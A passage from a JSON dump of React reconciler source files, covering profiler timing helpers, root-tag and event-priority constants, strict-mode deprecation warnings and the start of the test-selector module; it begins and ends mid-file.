(!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  retryClampTime = finalTime;\n}\n\nexport function clampIdleTimers(finalTime: number): void {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  idleClampTime = finalTime;\n}\n\nexport function pushNestedEffectDurations(): number {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return 0;\n  }\n  const prevEffectDuration = profilerEffectDuration;\n  profilerEffectDuration = 0; // Reset counter.\n  return prevEffectDuration;\n}\n\nexport function popNestedEffectDurations(prevEffectDuration: number): number {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return 0;\n  }\n  const elapsedTime = profilerEffectDuration;\n  profilerEffectDuration = prevEffectDuration;\n  return elapsedTime;\n}\n\n// Like pop but it also adds the current elapsed time to the parent scope.\nexport function bubbleNestedEffectDurations(\n  prevEffectDuration: number,\n): number {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return 0;\n  }\n  const elapsedTime = profilerEffectDuration;\n  profilerEffectDuration += prevEffectDuration;\n  return elapsedTime;\n}\n\nexport function resetComponentEffectTimers(): void {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return;\n  }\n  componentEffectStartTime = -1.1;\n  componentEffectEndTime = -1.1;\n}\n\nexport function pushComponentEffectStart(): number {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return 0;\n  }\n  const prevEffectStart = componentEffectStartTime;\n  componentEffectStartTime = -1.1; // Track the next start.\n  return prevEffectStart;\n}\n\nexport function popComponentEffectStart(prevEffectStart: number): void {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return;\n  }\n  // If the parent component didn't have a start time, we let this current time persist.\n  if (prevEffectStart >= 0) {\n    // Otherwise, we restore the previous parent's start time.\n    componentEffectStartTime = prevEffectStart;\n  }\n}\n\nexport function pushComponentEffectDuration(): number {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return 0;\n  }\n  const prevEffectDuration = componentEffectDuration;\n  componentEffectDuration = -0; // Reset component level duration.\n  return prevEffectDuration;\n}\n\nexport function popComponentEffectDuration(prevEffectDuration: number): void {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return;\n  }\n  // If the parent component didn't have a start time, we let this current time persist.\n  if (prevEffectDuration >= 0) {\n    // Otherwise, we restore the previous parent's start time.\n    componentEffectDuration = prevEffectDuration;\n  }\n}\n\nexport function pushComponentEffectErrors(): null | Array<\n  CapturedValue<mixed>,\n> {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return null;\n  }\n  const prevErrors = componentEffectErrors;\n  componentEffectErrors = null;\n  return prevErrors;\n}\n\nexport function popComponentEffectErrors(\n  prevErrors: null | Array<CapturedValue<mixed>>,\n): void {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return;\n  }\n  componentEffectErrors = prevErrors;\n}\n\nexport function pushComponentEffectDidSpawnUpdate(): boolean {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return false;\n  }\n\n  const prev = componentEffectSpawnedUpdate;\n  componentEffectSpawnedUpdate = false; // Reset.\n  return prev;\n}\n\nexport function popComponentEffectDidSpawnUpdate(previousValue: boolean): void {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return;\n  }\n\n  componentEffectSpawnedUpdate = previousValue;\n}\n\n/**\n * Tracks whether the current update was a nested/cascading update (scheduled from a layout effect).\n *\n * The overall sequence is:\n *   1. render\n *   2. commit (and call `onRender`, `onCommit`)\n *   3. check for nested updates\n *   4. flush passive effects (and call `onPostCommit`)\n *\n * Nested updates are identified in step 3 above,\n * but step 4 still applies to the work that was just committed.\n * We use two flags to track nested updates then:\n * one tracks whether the upcoming update is a nested update,\n * and the other tracks whether the current update was a nested update.\n * The first value gets synced to the second at the start of the render phase.\n */\nlet currentUpdateIsNested: boolean = false;\nlet nestedUpdateScheduled: boolean = false;\n\nexport function isCurrentUpdateNested(): boolean {\n  return currentUpdateIsNested;\n}\n\nexport function markNestedUpdateScheduled(): void {\n  if (enableProfilerNestedUpdatePhase) {\n    nestedUpdateScheduled = true;\n  }\n}\n\nexport function resetNestedUpdateFlag(): void {\n  if (enableProfilerNestedUpdatePhase) {\n    currentUpdateIsNested = false;\n    nestedUpdateScheduled = false;\n  }\n}\n\nexport function syncNestedUpdateFlag(): void {\n  if (enableProfilerNestedUpdatePhase) {\n    currentUpdateIsNested = nestedUpdateScheduled;\n    nestedUpdateScheduled = false;\n  }\n}\n\nexport function recordRenderTime(): void {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  renderStartTime = now();\n}\n\nexport function recordCommitTime(): void {\n  if (!enableProfilerTimer) {\n    return;\n  }\n  commitStartTime = now();\n}\n\nexport function recordCommitEndTime(): void {\n  if (!enableProfilerTimer) {\n    return;\n  }\n  commitEndTime = now();\n}\n\nexport function startProfilerTimer(fiber: Fiber): void {\n  if (!enableProfilerTimer) {\n    return;\n  }\n\n  profilerStartTime = now();\n\n  if (((fiber.actualStartTime: any): number) < 0) {\n    fiber.actualStartTime = profilerStartTime;\n  }\n}\n\nexport function stopProfilerTimerIfRunning(fiber: Fiber): void {\n  if (!enableProfilerTimer) {\n    return;\n  }\n  profilerStartTime = -1;\n}\n\nexport function stopProfilerTimerIfRunningAndRecordDuration(\n  fiber: Fiber,\n): void {\n  if (!enableProfilerTimer) {\n    return;\n  }\n\n  if (profilerStartTime >= 0) {\n    const elapsedTime = now() - profilerStartTime;\n    fiber.actualDuration += elapsedTime;\n    fiber.selfBaseDuration = elapsedTime;\n    profilerStartTime = -1;\n  }\n}\n\nexport function stopProfilerTimerIfRunningAndRecordIncompleteDuration(\n  fiber: Fiber,\n): void {\n  if (!enableProfilerTimer) {\n    return;\n  }\n\n  if (profilerStartTime >= 0) {\n    const elapsedTime = now() - profilerStartTime;\n    fiber.actualDuration += elapsedTime;\n    // We don't update the selfBaseDuration here because we errored.\n    profilerStartTime = -1;\n  }\n}\n\nexport function recordEffectDuration(fiber: Fiber): void {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return;\n  }\n\n  if (profilerStartTime >= 0) {\n    const endTime = now();\n    const elapsedTime = endTime - profilerStartTime;\n\n    profilerStartTime = -1;\n\n    // Store duration on the next nearest Profiler ancestor\n    // Or the root (for the DevTools Profiler to read)\n    profilerEffectDuration += elapsedTime;\n    componentEffectDuration += elapsedTime;\n\n    // Keep track of the last end time of the effects.\n    componentEffectEndTime = endTime;\n  }\n}\n\nexport function recordEffectError(errorInfo: CapturedValue<mixed>): void {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return;\n  }\n  if (componentEffectErrors === null) {\n    componentEffectErrors = [];\n  }\n  componentEffectErrors.push(errorInfo);\n  if (commitErrors === null) {\n    commitErrors = [];\n  }\n  commitErrors.push(errorInfo);\n}\n\nexport function resetCommitErrors(): void {\n  commitErrors = null;\n}\n\nexport function startEffectTimer(): void {\n  if (!enableProfilerTimer || !enableProfilerCommitHooks) {\n    return;\n  }\n  profilerStartTime = now();\n  if (componentEffectStartTime < 0) {\n    // Keep track of the first time we start an effect as the component's effect start time.\n    componentEffectStartTime = profilerStartTime;\n  }\n}\n\nexport function transferActualDuration(fiber: Fiber): void {\n  // Transfer time spent rendering these children so we don't lose it\n  // after we rerender. This is used as a helper in special cases\n  // where we should count the work of multiple passes.\n  let child = fiber.child;\n  while (child) {\n    // $FlowFixMe[unsafe-addition] addition with possible null/undefined value\n    fiber.actualDuration += child.actualDuration;\n    child = child.sibling;\n  }\n}\n\nexport function startAnimating(lanes: Lanes): void {\n  animatingLanes |= lanes;\n  animatingTask = null;\n}\n\nexport function stopAnimating(lanes: Lanes): void {\n  animatingLanes &= ~lanes;\n  animatingTask = null;\n}\n\nexport function trackAnimatingTask(task: ConsoleTask): void {\n  if (animatingTask === null) {\n    animatingTask = task;\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactReconcilerConstants.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// These are semi-public constants exposed to any third-party renderers.\n// Only expose the minimal subset necessary to implement a host config.\n\nexport {\n  NoEventPriority,\n  DiscreteEventPriority,\n  ContinuousEventPriority,\n  DefaultEventPriority,\n  IdleEventPriority,\n} from './ReactEventPriorities';\nexport {ConcurrentRoot, LegacyRoot} from './ReactRootTags';\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactRootTags.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type RootTag = 0 | 1;\n\nexport const LegacyRoot = 0;\nexport const ConcurrentRoot = 1;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactStrictModeWarnings.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\n\nimport {runWithFiberInDEV} from './ReactCurrentFiber';\nimport getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';\nimport {StrictLegacyMode} from './ReactTypeOfMode';\n\ntype FiberArray = Array<Fiber>;\ntype FiberToFiberComponentsMap = Map<Fiber, FiberArray>;\n\nconst ReactStrictModeWarnings = {\n  recordUnsafeLifecycleWarnings: (fiber: Fiber, instance: any): void => {},\n  flushPendingUnsafeLifecycleWarnings: (): void => {},\n  recordLegacyContextWarning: (fiber: Fiber, instance: any): void => {},\n  flushLegacyContextWarning: (): void => {},\n  discardPendingWarnings: (): void => {},\n};\n\nif (__DEV__) {\n  const findStrictRoot = (fiber: Fiber): Fiber | null => {\n    let maybeStrictRoot = null;\n\n    let node: null | Fiber = fiber;\n    while (node !== null) {\n      if (node.mode & StrictLegacyMode) {\n        maybeStrictRoot = node;\n      }\n      node = node.return;\n    }\n\n    return maybeStrictRoot;\n  };\n\n  const setToSortedString = (set: Set<string>) => {\n    const array = [];\n    set.forEach(value => {\n      array.push(value);\n    });\n    return array.sort().join(', ');\n  };\n\n  let pendingComponentWillMountWarnings: Array<Fiber> = [];\n  let pendingUNSAFE_ComponentWillMountWarnings: Array<Fiber> = [];\n  let pendingComponentWillReceivePropsWarnings: Array<Fiber> = [];\n  let pendingUNSAFE_ComponentWillReceivePropsWarnings: Array<Fiber> = [];\n  let pendingComponentWillUpdateWarnings: Array<Fiber> = [];\n  let pendingUNSAFE_ComponentWillUpdateWarnings: Array<Fiber> = [];\n\n  // Tracks components we have already warned about.\n  const didWarnAboutUnsafeLifecycles = new Set<mixed>();\n\n  ReactStrictModeWarnings.recordUnsafeLifecycleWarnings = (\n    fiber: Fiber,\n    instance: any,\n  ) => {\n    // Dedupe strategy: Warn once per component.\n    if (didWarnAboutUnsafeLifecycles.has(fiber.type)) {\n      return;\n    }\n\n    if (\n      typeof instance.componentWillMount === 'function' &&\n      // Don't warn about react-lifecycles-compat polyfilled components.\n      instance.componentWillMount.__suppressDeprecationWarning !== true\n    ) {\n      pendingComponentWillMountWarnings.push(fiber);\n    }\n\n    if (\n      fiber.mode & StrictLegacyMode &&\n      typeof instance.UNSAFE_componentWillMount === 'function'\n    ) {\n      pendingUNSAFE_ComponentWillMountWarnings.push(fiber);\n    }\n\n    if (\n      typeof instance.componentWillReceiveProps === 'function' &&\n      instance.componentWillReceiveProps.__suppressDeprecationWarning !== true\n    ) {\n      pendingComponentWillReceivePropsWarnings.push(fiber);\n    }\n\n    if (\n      fiber.mode & StrictLegacyMode &&\n      typeof instance.UNSAFE_componentWillReceiveProps === 'function'\n    ) {\n      pendingUNSAFE_ComponentWillReceivePropsWarnings.push(fiber);\n    }\n\n    if (\n      typeof instance.componentWillUpdate === 'function' &&\n      instance.componentWillUpdate.__suppressDeprecationWarning !== true\n    ) {\n      pendingComponentWillUpdateWarnings.push(fiber);\n    }\n\n    if (\n      fiber.mode & StrictLegacyMode &&\n      typeof instance.UNSAFE_componentWillUpdate === 'function'\n    ) {\n      pendingUNSAFE_ComponentWillUpdateWarnings.push(fiber);\n    }\n  };\n\n  ReactStrictModeWarnings.flushPendingUnsafeLifecycleWarnings = () => {\n    // We do an initial pass to gather component names\n    const componentWillMountUniqueNames = new Set<string>();\n    if (pendingComponentWillMountWarnings.length > 0) {\n      pendingComponentWillMountWarnings.forEach(fiber => {\n        componentWillMountUniqueNames.add(\n          getComponentNameFromFiber(fiber) || 'Component',\n        );\n        didWarnAboutUnsafeLifecycles.add(fiber.type);\n      });\n      pendingComponentWillMountWarnings = [];\n    }\n\n    const UNSAFE_componentWillMountUniqueNames = new Set<string>();\n    if (pendingUNSAFE_ComponentWillMountWarnings.length > 0) {\n      pendingUNSAFE_ComponentWillMountWarnings.forEach(fiber => {\n        UNSAFE_componentWillMountUniqueNames.add(\n          getComponentNameFromFiber(fiber) || 'Component',\n        );\n        didWarnAboutUnsafeLifecycles.add(fiber.type);\n      });\n      pendingUNSAFE_ComponentWillMountWarnings = [];\n    }\n\n    const componentWillReceivePropsUniqueNames = new Set<string>();\n    if (pendingComponentWillReceivePropsWarnings.length > 0) {\n      pendingComponentWillReceivePropsWarnings.forEach(fiber => {\n        componentWillReceivePropsUniqueNames.add(\n          getComponentNameFromFiber(fiber) || 'Component',\n        );\n        didWarnAboutUnsafeLifecycles.add(fiber.type);\n      });\n\n      pendingComponentWillReceivePropsWarnings = [];\n    }\n\n    const UNSAFE_componentWillReceivePropsUniqueNames = new Set<string>();\n    if (pendingUNSAFE_ComponentWillReceivePropsWarnings.length > 0) {\n      pendingUNSAFE_ComponentWillReceivePropsWarnings.forEach(fiber => {\n        UNSAFE_componentWillReceivePropsUniqueNames.add(\n          getComponentNameFromFiber(fiber) || 'Component',\n        );\n        didWarnAboutUnsafeLifecycles.add(fiber.type);\n      });\n\n      pendingUNSAFE_ComponentWillReceivePropsWarnings = [];\n    }\n\n    const componentWillUpdateUniqueNames = new Set<string>();\n    if (pendingComponentWillUpdateWarnings.length > 0) {\n      pendingComponentWillUpdateWarnings.forEach(fiber => {\n        componentWillUpdateUniqueNames.add(\n          getComponentNameFromFiber(fiber) || 'Component',\n        );\n        didWarnAboutUnsafeLifecycles.add(fiber.type);\n      });\n\n      pendingComponentWillUpdateWarnings = [];\n    }\n\n    const UNSAFE_componentWillUpdateUniqueNames = new Set<string>();\n    if (pendingUNSAFE_ComponentWillUpdateWarnings.length > 0) {\n      pendingUNSAFE_ComponentWillUpdateWarnings.forEach(fiber => {\n        UNSAFE_componentWillUpdateUniqueNames.add(\n          getComponentNameFromFiber(fiber) || 'Component',\n        );\n        didWarnAboutUnsafeLifecycles.add(fiber.type);\n      });\n\n      pendingUNSAFE_ComponentWillUpdateWarnings = [];\n    }\n\n    // Finally, we flush all the warnings\n    // UNSAFE_ ones before the deprecated ones, since they'll be 'louder'\n    if (UNSAFE_componentWillMountUniqueNames.size > 0) {\n      const sortedNames = setToSortedString(\n        UNSAFE_componentWillMountUniqueNames,\n      );\n      console.error(\n        'Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. ' +\n          'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n          '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n          '\\nPlease update the following components: %s',\n        sortedNames,\n      );\n    }\n\n    if (UNSAFE_componentWillReceivePropsUniqueNames.size > 0) {\n      const sortedNames = setToSortedString(\n        UNSAFE_componentWillReceivePropsUniqueNames,\n      );\n      console.error(\n        'Using UNSAFE_componentWillReceiveProps in strict mode is not recommended ' +\n          'and may indicate bugs in your code. ' +\n          'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n          '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n          \"* If you're updating state whenever props change, \" +\n          'refactor your code to use memoization techniques or move it to ' +\n          'static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\\n' +\n          '\\nPlease update the following components: %s',\n        sortedNames,\n      );\n    }\n\n    if (UNSAFE_componentWillUpdateUniqueNames.size > 0) {\n      const sortedNames = setToSortedString(\n        UNSAFE_componentWillUpdateUniqueNames,\n      );\n      console.error(\n        'Using UNSAFE_componentWillUpdate in strict mode is not recommended ' +\n          'and may indicate bugs in your code. ' +\n          'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n          '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n          '\\nPlease update the following components: %s',\n        sortedNames,\n      );\n    }\n\n    if (componentWillMountUniqueNames.size > 0) {\n      const sortedNames = setToSortedString(componentWillMountUniqueNames);\n\n      console.warn(\n        'componentWillMount has been renamed, and is not recommended for use. ' +\n          'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n          '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n          '* Rename componentWillMount to UNSAFE_componentWillMount to suppress ' +\n          'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n          'To rename all deprecated lifecycles to their new names, you can run ' +\n          '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n          '\\nPlease update the following components: %s',\n        sortedNames,\n      );\n    }\n\n    if (componentWillReceivePropsUniqueNames.size > 0) {\n      const sortedNames = setToSortedString(\n        componentWillReceivePropsUniqueNames,\n      );\n\n      console.warn(\n        'componentWillReceiveProps has been renamed, and is not recommended for use. ' +\n          'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n          '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n          \"* If you're updating state whenever props change, refactor your \" +\n          'code to use memoization techniques or move it to ' +\n          'static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\\n' +\n          '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress ' +\n          'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n          'To rename all deprecated lifecycles to their new names, you can run ' +\n          '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n          '\\nPlease update the following components: %s',\n        sortedNames,\n      );\n    }\n\n    if (componentWillUpdateUniqueNames.size > 0) {\n      const sortedNames = setToSortedString(componentWillUpdateUniqueNames);\n\n      console.warn(\n        'componentWillUpdate has been renamed, and is not recommended for use. ' +\n          'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n          '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n          '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress ' +\n          'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n          'To rename all deprecated lifecycles to their new names, you can run ' +\n          '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n          '\\nPlease update the following components: %s',\n        sortedNames,\n      );\n    }\n  };\n\n  let pendingLegacyContextWarning: FiberToFiberComponentsMap = new Map();\n\n  // Tracks components we have already warned about.\n  const didWarnAboutLegacyContext = new Set<mixed>();\n\n  ReactStrictModeWarnings.recordLegacyContextWarning = (\n    fiber: Fiber,\n    instance: any,\n  ) => {\n    const strictRoot = findStrictRoot(fiber);\n    if (strictRoot === null) {\n      console.error(\n        'Expected to find a StrictMode component in a strict mode tree. ' +\n          'This error is likely caused by a bug in React. Please file an issue.',\n      );\n      return;\n    }\n\n    // Dedup strategy: Warn once per component.\n    if (didWarnAboutLegacyContext.has(fiber.type)) {\n      return;\n    }\n\n    let warningsForRoot = pendingLegacyContextWarning.get(strictRoot);\n\n    if (\n      fiber.type.contextTypes != null ||\n      fiber.type.childContextTypes != null ||\n      (instance !== null && typeof instance.getChildContext === 'function')\n    ) {\n      if (warningsForRoot === undefined) {\n        warningsForRoot = [];\n        pendingLegacyContextWarning.set(strictRoot, warningsForRoot);\n      }\n      warningsForRoot.push(fiber);\n    }\n  };\n\n  ReactStrictModeWarnings.flushLegacyContextWarning = () => {\n    ((pendingLegacyContextWarning: any): FiberToFiberComponentsMap).forEach(\n      (fiberArray: FiberArray, strictRoot) => {\n        if (fiberArray.length === 0) {\n          return;\n        }\n        const firstFiber = fiberArray[0];\n\n        const uniqueNames = new Set<string>();\n        fiberArray.forEach(fiber => {\n          uniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');\n          didWarnAboutLegacyContext.add(fiber.type);\n        });\n\n        const sortedNames = setToSortedString(uniqueNames);\n\n        runWithFiberInDEV(firstFiber, () => {\n          console.error(\n            'Legacy context API has been detected within a strict-mode tree.' +\n              '\\n\\nThe old API will be supported in all 16.x releases, but applications ' +\n              'using it should migrate to the new version.' +\n              '\\n\\nPlease update the following components: %s' +\n              '\\n\\nLearn more about this warning here: https://react.dev/link/legacy-context',\n            sortedNames,\n          );\n        });\n      },\n    );\n  };\n\n  ReactStrictModeWarnings.discardPendingWarnings = () => {\n    pendingComponentWillMountWarnings = [];\n    pendingUNSAFE_ComponentWillMountWarnings = [];\n    pendingComponentWillReceivePropsWarnings = [];\n    pendingUNSAFE_ComponentWillReceivePropsWarnings = [];\n    pendingComponentWillUpdateWarnings = [];\n    pendingUNSAFE_ComponentWillUpdateWarnings = [];\n    pendingLegacyContextWarning = new Map();\n  };\n}\n\nexport default ReactStrictModeWarnings;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactTestSelectors.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {Instance} from './ReactFiberConfig';\n\nimport {\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostText,\n} from 'react-reconciler/src/ReactWorkTags';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\nimport {\n  findFiberRoot,\n  getBoundingRect,\n  getInstanceFromNode,\n  getTextContent,\n  isHiddenSubtree,\n  matchAccessibilityRole,\n  setFocusIfFocusable,\n  setupIntersectionObserver,\n  supportsTestSelectors,\n} from './ReactFiberConfig';\n\nlet COMPONENT_TYPE: symbol | number = 0b000;\nlet HAS_PSEUDO_CLASS_TYPE: symbol | number = 0b001;\nlet ROLE_TYPE: symbol | number = 0b010;\nlet TEST_NAME_TYPE: symbol | number = 0b011;\nlet TEXT_TYPE: symbol | number = 0b100;\n\nif (typeof Symbol === 'function' && Symbol.for) {\n  const symbolFor = Symbol.for;\n  COMPONENT_TYPE = symbolFor('selector.component');\n  HAS_PSEUDO_CLASS_TYPE = symbolFor('selector.has_pseudo_class');\n  ROLE_TYPE = symbolFor('selector.role');\n  TEST_NAME_TYPE = symbolFor('selector.test_id');\n  TEXT_TYPE = symbolFor('selector.text');\n}\n\ntype Type = symbol | number;\n\ntype ComponentSelector = {\n  $$typeof: Type,\n  value: component(),\n};\n\ntype HasPseudoClassSelector = {\n  $$typeof: Type,\n  value: Array<Selector>,\n};\n\ntype RoleSelector = {\n  $$typeof: Type,\n  value: string,\n};\n\ntype TextSelector = {\n  $$typeof: Type,\n  value: string,\n};\n\ntype TestNameSelector = {\n  $$typeof: Type,\n  value: string,\n};\n\ntype Selector =\n  | ComponentSelector\n  | HasPseudoClassSelector\n  | RoleSelector\n  | TextSelector\n  | TestNameSelector;\n\nexport function createComponentSelector(\n  component: component(),\n): ComponentSelector {\n  return {\n    $$typeof: COMPONENT_TYPE,\n    value: component,\n  };\n}\n\nexport function createHasPseudoClassSelector(\n  selectors: Array<Selector>,\n): HasPseudoClassSelector {\n  return {\n    $$typeof: HAS_PSEUDO_CLASS_TYPE,\n    value: selectors,\n  };\n}\n\nexport function createRoleSelector(role: string): RoleSelector {\n  return {\n    $$typeof: ROLE_TYPE,\n    value: role,\n  };\n}\n\nexport function createTextSelector(text: string): TextSelector {\n  return {\n    $$typeof: TEXT_TYPE,\n    value: text,\n  };\n}\n\nexport function createTestNameSelector(id: string): TestNameSelector {\n  return {\n    $$typeof: TEST_NAME_TYPE,\n    value: id,\n  };\n}\n\nfunction findFiberRootForHostRoot(hostRoot: Instance): Fiber {\n  const maybeFiber = getInstanceFromNode((hostRoot: any));\n  if (maybeFiber != null) {\n    if (typeof maybeFiber.memoizedProps['data-testname'] !== 'string') {\n      throw new Error(\n        'Invalid host root specified. Should be either a React container or a node with a testname attribute.',\n      );\n    }\n\n    return ((maybeFiber: any): Fiber);\n  } else {\n    const fiberRoot = findFiberRoot(hostRoot);\n\n    if (fiberRoot === null) {\n      throw new Error(\n        'Could not find React container within specified host subtree.',\n      );\n    }\n\n    // The Flow type for FiberRoot is a little funky.\n    // createFiberRoot() cheats this by treating the root as :any and adding stateNode lazily.\n    return ((fiberRoot: any).stateNode.current: Fiber);\n  }\n}\n\nfunction matchSelector(fiber: Fiber, selector: Selector): boolean {\n  const tag = fiber.tag;\n  switch (selector.$$typeof) {\n    case COMPONENT_TYPE:\n      if (fiber.type === selector.value) {\n        return true;\n      }\n      break;\n    case HAS_PSEUDO_CLASS_TYPE:\n      return hasMatchingPaths(\n        fiber,\n        ((selector: any): HasPseudoClassSelector).value,\n      );\n    case ROLE_TYPE:\n      if (\n        tag === HostComponent ||\n        tag === HostHoistable ||\n        tag === HostSingleton\n      ) {\n        const node = fiber.stateNode;\n        if (\n          matchAccessibilityRole(node, ((selector: any): RoleSelector).value)\n        ) {\n          return true;\n        }\n      }\n      break;\n    case TEXT_TYPE:\n      if (\n        tag === HostComponent ||\n        tag === HostText ||\n        tag === HostHoistable ||\n        tag === HostSingleton\n      ) {\n        const textContent = getTextContent(fiber);\n        if (\n          textContent !== null &&\n          textContent.indexOf(((selector: any): TextSelector).value) >= 0\n        ) {\n          return true;\n        }\n      }\n      break;\n    case TEST_NAME_TYPE:\n      if (\n        tag === HostComponent ||\n        tag === HostHoistable ||\n        tag === HostSingleton\n      ) {\n        const dataTestID = fiber.memoizedProps['data-testname'];\n        if (\n          typeof dataTestID === 'string' &&\n          dataTestID.toLowerCase() ===\n            ((selector: any): TestNameSelector).value.toLowerCase()\n        ) {\n          return true;\n        }\n      }\n      break;\n    default:\n      throw new Error('Invalid selector type specified.');\n  }\n\n  return false;\n}\n\nfunction selectorToString(selector: Selector): string | null {\n  switch (selector.$$typeof) {\n    case COMPONENT_TYPE:\n      const displayName = getComponentNameFromType(selector.value) || 'Unknown';\n      return `<${displayName}>`;\n    case HAS_PSEUDO_CLASS_TYPE:\n      return `:has(${selectorToString(selector) || ''})`;\n    case ROLE_TYPE:\n      return `[role=\"${((selector: any): RoleSelector).value}\"]`;\n    case TEXT_TYPE:\n      return `\"${((selector: any): TextSelector).value}\"`;\n    case TEST_NAME_TYPE:\n      return `[data-testname=\"${((selector: any): TestNameSelector).value}\"]`;\n    default:\n      throw new Error('Invalid selector type specified.');\n  }\n}\n\nfunction findPaths(root: Fiber, selectors: Array<Selector>): Array<Fiber> {\n  const matchingFibers: Array<Fiber> = [];\n\n  const stack = [root, 0];\n  let index = 0;\n  while (index < stack.length) {\n    const fiber = ((stack[index++]: any): Fiber);\n    const tag = fiber.tag;\n    let selectorIndex = ((stack[index++]: any): number);\n    let selector = selectors[selectorIndex];\n\n    if (\n      (tag === HostComponent ||\n        tag === HostHoistable ||\n        tag === HostSingleton) &&\n      isHiddenSubtree(fiber)\n    ) {\n      continue;\n    } else {\n      while (selector != null && matchSelector(fiber, selector)) {\n        selectorIndex++;\n        selector = selectors[selectorIndex];\n      }\n    }\n\n    if (selectorIndex === selectors.length) {\n      matchingFibers.push(fiber);\n    } else {\n      let child = fiber.child;\n      while (child !== null) {\n        stack.push(child, selectorIndex);\n        child = child.sibling;\n      }\n    }\n  }\n\n  return matchingFibers;\n}\n\n// Same as findPaths but with eager bailout on first match\nfunction hasMatchingPaths(root: Fiber, selectors: Array<Selector>): boolean {\n  const stack = [root, 0];\n  let index = 0;\n  while (index < stack.length) {\n    const fiber = ((stack[index++]: any): Fiber);\n    const tag = fiber.tag;\n    let selectorIndex = ((stack[index++]: any): number);\n    let selector = selectors[selectorIndex];\n\n    if (\n      (tag === HostComponent ||\n        tag === HostHoistable ||\n        tag === HostSingleton) &&\n      isHiddenSubtree(fiber)\n    ) {\n      continue;\n    } else {\n      while (selector != null && matchSelector(fiber, selector)) {\n        selectorIndex++;\n        selector = selectors[selectorIndex];\n      }\n    }\n\n    if (selectorIndex === selectors.length) {\n      return true;\n    } else {\n      let child = fiber.child;\n      while (child !== null) {\n        stack.push(child, selectorIndex);\n        child = child.sibling;\n      }\n    }\n  }\n\n  return false;\n}\n\nexport function findAllNodes(\n  hostRoot: Instance,\n  selectors: Array<Selector>,\n): Array<Instance> {\n  if (!supportsTestSelectors) {\n    throw new Error('Test selector API is not supported by this renderer.');\n  }\n\n  const root = findFiberRootForHostRoot(hostRoot);\n  const matchingFibers = findPaths(root, selectors);\n\n  const instanceRoots: Array<Instance> = [];\n\n  const stack = Array.from(matchingFibers);\n  let index = 0;\n  while (index < stack.length) {\n    const node = ((stack[index++]: any): Fiber);\n    const tag = node.tag;\n    if (\n      tag === HostComponent ||\n      tag === HostHoistable ||\n      tag === HostSingleton\n    ) {\n      if (isHiddenSubtree(node)) {\n        continue;\n      }\n      instanceRoots.push(node.stateNode);\n    } else {\n      let child = node.child;\n      while (child !== null) {\n        stack.push(child);\n        child = child.sibling;\n      }\n    }\n  }\n\n  return instanceRoots;\n}\n\nexport function getFindAllNodesFailureDescription(\n  hostRoot: Instance,\n  selectors: Array<Selector>,\n): string | null {\n  if (!supportsTestSelectors) {\n    throw new Error('Test selector API is not supported by this renderer.');\n  }\n\n  const root = 